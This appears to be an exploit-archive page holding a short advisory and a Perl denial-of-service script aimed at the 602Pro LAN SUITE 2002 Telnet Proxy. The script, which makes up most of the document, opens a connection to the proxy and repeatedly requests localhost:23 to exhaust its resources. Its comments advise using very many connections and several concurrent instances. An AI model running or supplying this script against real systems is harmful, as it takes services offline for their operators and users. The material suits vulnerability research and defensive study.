54 lines
No EOL
979 B
Perl
Executable file
54 lines
No EOL
979 B
Perl
Executable file
source: https://www.securityfocus.com/bid/5416/info
|
|
|
|
The 602Pro LAN SUITE 2002 Telnet Proxy is reported to be prone to a denial of service condition. It is possible for proxy users to use the loopback interface to connect to localhost. If a large number of these connections are made concurrently, it is possible to cause a denial of service via resource exhaustion.
|
|
|
|
#!/usr/bin/perl
|
|
|
|
#
|
|
|
|
# lansuite-proxy-DoS.pl - 602Pro LAN SUITE 2002 telnet proxy DoS
|
|
|
|
#
|
|
|
|
# Note: Try very high number of connections and run multiple instances
|
|
|
|
# of the script for quick results.
|
|
|
|
#
|
|
|
|
# Date: August 3, 2002
|
|
|
|
# Author: Stan Bubrouski (stan@ccs.neu.edu)
|
|
|
|
|
|
|
|
if (!$ARGV[2]) {
|
|
|
|
print "Usage $0 <hostname> <port> <connections>\n\n";
|
|
|
|
exit();
|
|
|
|
}
|
|
|
|
|
|
$host = $ARGV[0];
|
|
|
|
$port = $ARGV[1];
|
|
|
|
$numc = $ARGV[2];
|
|
|
|
|
|
|
|
use Net::Telnet ();
|
|
|
|
$t = new Net::Telnet;
|
|
|
|
$t->open(Host => $host,Port => $port);
|
|
|
|
foreach(1...$numc) {
|
|
|
|
$t->waitfor('/.*host.*/');
|
|
|
|
$t->print('localhost:23');
|
|
|
|
} |